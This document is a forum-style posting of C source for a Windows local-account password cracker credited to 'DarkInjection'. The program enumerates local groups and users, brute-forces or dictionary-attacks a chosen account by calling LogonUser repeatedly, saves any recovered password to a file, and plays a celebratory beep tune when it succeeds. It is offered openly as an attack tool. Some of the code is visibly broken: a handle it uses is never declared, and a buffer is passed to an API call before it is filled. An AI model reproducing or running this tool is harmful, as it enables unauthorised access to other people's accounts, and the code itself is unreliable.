windows xp,vista,etc password cracker

[karapidiola]

#ifndef WINVER 
#define WINVER 0x0500
#endif

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include <lm.h>

#pragma comment(lib,"Netapi32.lib")
#pragma comment(lib,"Advapi32.lib") 

#define MAX 16

#define TRUE	1
#define FALSE	0

char wfile[256] = "";
char def_charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ1234567890";
char user_to_crack[256]= "";
unsigned int inc[128];
clock_t start, end;
BOOL Make = 0;
double elapsed;
void TestPass(char * pwd){
	FILE *f1;
	//char test_file[30] ="C:\\windows\\system32\\cmd.exe";
	/*
	PROCESS_INFORMATION ProcessInfo;
	HANDLE hToken = NULL;
    STARTUPINFO StartInf;
		StartInf.cb = sizeof(StartInf);
		StartInf.dwX = CW_USEDEFAULT;
		StartInf.dwY = CW_USEDEFAULT;
		StartInf.dwXSize = CW_USEDEFAULT;
		StartInf.dwYSize = CW_USEDEFAULT;*/
    int b;
	//WTF............................................................
	//LOGON_WITH_PROFILE;
	//wtf undeclared identifier ????
    b = LogonUser((LPTSTR)user_to_crack,NULL,(LPTSTR)pwd,
	LOGON32_LOGON_INTERACTIVE,LOGON32_PROVIDER_DEFAULT,&hToken);
	if(b !=0){
			end = clock();
			elapsed = ((double) (end - start)) / CLOCKS_PER_SEC;
			printf("[-]User Found : %s Trys Per Sec : %f\t\t\t\t\n",pwd,elapsed);
			f1 = fopen("dumped.pwd","w");
			if(f1 != NULL){
				fprintf(f1,"User : %s Password : %s",user_to_crack,pwd);
			}
				//lollol nice song:P
			    Beep(100,100);
				Beep(100,100);
				Beep(10,100);
				Beep(50,100);
				Beep(100,100);
				Beep(150,100);
				Beep(200,100);
				Beep(250,100);
				Beep(300,100);
				Beep(350,100);
				Beep(400,100);
				Beep(450,100);
				Beep(500,100);
				Beep(550,100);
				Beep(600,100);
				Beep(650,100);
				Beep(700,250);
				Beep(800,500);
				Beep(800,500);
				Beep(700,250);
				Beep(650,100);
				Beep(600,100);
				Beep(550,100);
				Beep(500,100);
				Beep(450,100);
				Beep(400,100);
				Beep(350,100);
				Beep(300,100);
				Beep(250,100);
				Beep(200,100);
				Beep(150,100);
				Beep(100,100);
				Beep(50,100);
				Beep(10,100);
				//end of song :P
			MessageBox(0,"Have Fun\t\t\t","Code By DarkInjection",0);
			exit(1);
	}

}

int finished(char *block, char *charset, char *templ)
{
	unsigned int i;

	if(templ[0]==0)
	{
		for(i=0;i<strlen(block);i++)
			if(inc[i] < strlen(charset)-1)	return FALSE;
	}
	else
	{
		for(i=0;i<strlen(block);i++)
			if(templ[i]=='@' && (inc[i] < strlen(charset)-1)) return FALSE;
	}

	return TRUE;
}

void increment(char *block, int len, char *charset, char *templ)
{
	int i;

	for(i=strlen(block)-1;i>-1;i--)
	{
		if(templ[0]==0 || templ[i]=='@')
		{
			if(inc[i] < strlen(charset)-1)
			{
				inc[i]++;
				block[i] = charset[inc[i]];
				i=-1;
			}
			else
			{
				block[i] = charset[0];
				inc[i] = 0;
			}
		}
		else
		{
		}
	}
}

int chunk(int start, int end, char *charset, char *templ, char *startblock,FILE *f1)
{
	int i,j,k,t;
	char block[128];

	if(end-start <0) return 0;

	if(templ[0]==0) t=0;
	else		t=1;

	for(i=start;i<=end;i++)
	{
		memset(block,0,sizeof(block));

		for(j=0;j<i;j++)
		{
			if(startblock[0]==0)
			{
				if(t==0)
				{
					block[j] = charset[0];
					inc[j] = 0;
				}
				else
				{
					if(templ[j]=='@')
					{
						block[j] = charset[0];
						inc[j] = 0;
					}
					else			block[j] = templ[j];
				}
			}
			else
			{
				block[j] = startblock[j];

				for(k=0;k<strlen(charset);k++)
					if(block[j]==charset[k]) inc[j] = k;
			}
		}

		//printf("%s\n",block);
		while(!finished(block,charset,templ))
		{
			
			increment(block,i,charset,templ);
			if(Make == 0){
				TestPass(block);
			}else{
				if(f1 != NULL){
					fprintf(f1,"%s\n",block);
				}else{
					printf("[-]Error In File Handle\n");
					exit(1);
				}
			
			}
		}
	}

	return 0;
}



int main(int argc,char ** argv){
			NET_API_STATUS NetStatus = NERR_Success;
			//WCHAR wszMachineName[256];
			LPBYTE Data = NULL;
			LPBYTE data = NULL;
			FILE *f1;
			char charset[256];
			char szAnsiName[256] = "";
			DWORD Index = 0;
			DWORD index = 0;
			DWORD ResumeHandle= 0;
			DWORD resumeHandle= 0;
			DWORD Total= 0;
			DWORD total= 0;
			WCHAR wszGroupName[256];
			FILE *f2;
			DWORD i;
			LOCALGROUP_INFO_0 *GroupInfo;
			LOCALGROUP_MEMBERS_INFO_1 *MemberInfo;
			char templ[256] = "";
			char startblock[256] = "";
			char szAnsiMemberName[256];
			int zz=0;
			bool IsDict=0;
			char tmp_pass[256];
			//wcscpy (wszMachineName, (const wchar_t*)"");//local machine
			char ffile[257];

			printf("************************************************\n");
			printf("[-]Coded By Darkinjection\t*\n");
			printf("[-]Windows Local User Bruteforce Tool\t*\n");
			printf("[-]Special Thnx k0ur,boever and PostMortem Cr3w\t*\n");
			printf("*************************************************\n");
			printf(",--.           |    |         o          |    o          \n");
			printf("|   |,---.,---.|__/ |,---.    .,---.,---.|--- .,---.,---.\n");
			printf("|   |,---||    |  \ ||   |    ||---'|    |    ||   ||   |\n");
			printf("`--' `---^`    `   ```   '    |`---'`---'`---'``---'`   '\n");
			printf("                          `---'       \n");
			NetStatus = NetLocalGroupEnum
			(
				NULL, 
				0, 
				&Data, 
				8192, 
				&Index, 
				&Total, 
				&ResumeHandle
			);

			if(NetStatus != NERR_Success || Data == NULL){
					printf("[x]Error Cant Enum The LocalGroups\n");
					exit(-1);
			}
			GroupInfo = (LOCALGROUP_INFO_0 *)Data;
			printf("*************************************************************************\n");
			
			for(i=0; i < Total; i++){
				WideCharToMultiByte((UINT)CP_ACP,(DWORD)0,(LPCWSTR)(GroupInfo->lgrpi0_name),(int)-1,
				(LPSTR)szAnsiName,(int)(sizeof(szAnsiName)),(LPCSTR)NULL,(LPBOOL)NULL);
				NetLocalGroupGetMembers(
					NULL, 
					wszGroupName, 
					1, // set this to level 0.
					&data, 
					8192, 
					&index, 
					&total, 
					NULL
				  );
				  
				MultiByteToWideChar((UINT)CP_ACP,(DWORD)MB_PRECOMPOSED,(LPCSTR)szAnsiName,(int)-1,(LPWSTR)wszGroupName,(int)sizeof(wszGroupName));
				MemberInfo = (LOCALGROUP_MEMBERS_INFO_1 *)data;
				
				for(DWORD z = 0; z < total; z++){
					zz++;
					
					WideCharToMultiByte((UINT)CP_ACP,(DWORD)0,(LPCWSTR)(MemberInfo->lgrmi1_name),(int)-1,
					(LPSTR)szAnsiMemberName,(int)(sizeof(szAnsiMemberName)),(LPCSTR)NULL,(LPBOOL)NULL);

					printf("Group : %s User : %s SID : 0x%x\t*\n",szAnsiName,szAnsiMemberName,MemberInfo->lgrmi1_sid);
					MemberInfo++;
				
				}				
				GroupInfo++;
			}
			
			printf("\n[-]Found %d Localgroups\n",Total);
			printf("[-]Found %d Users\n",zz);
			printf("**************************************************************************\n");
				
			for(int j = 1; j <= argc-1;j++){
				
				 if(strcmp("-d",argv[j]) == 0){  
					  IsDict = 1;                     
					}
				 if(strcmp("-b",argv[j]) == 0){
					  IsDict = 0;
				 }
				 if(strcmp("-f",argv[j]) == 0){
					  strncpy(ffile,argv[j+1],255);
				 }

				 if(strcmp("-m",argv[j]) == 0){
					  Make = 1;
					  printf("[-]Making Dictionary File\n");
					  
					  f2 = fopen(argv[j+1],"w");
					  
					  if(f2 == NULL){
							printf("[-]Cant Open The File\n");
							exit(1);
					  }
					  
					  chunk(0,MAX,def_charset,templ,startblock,f2);
				 }
			
			}

			printf("[-]Give The User To Bruteforce :");
			scanf("%s",user_to_crack);
			
			memset(charset,0,sizeof(charset));
			strncpy(charset,def_charset,strlen(def_charset));
			strncpy(startblock,"",strlen(""));

			if(IsDict == 0){
				printf("[-]Using Bruteforce\n");
				printf("[-]Max Password Range 16 chars\n");
				
				start = clock();
				chunk(0,MAX,def_charset,templ,startblock,0);
			}else{
				printf("[-]Using Dictionary\n");

				f1 = fopen(ffile,"r");
				
				if(f1 == NULL){
					printf("[-]Wrong File Specifed\n");
					exit(1);
				}else{
					start = clock();
					
					while(!feof(f1)){
						fscanf(f1,"%s",tmp_pass);
						TestPass(tmp_pass);
					}
				}
			}

			return 0;
}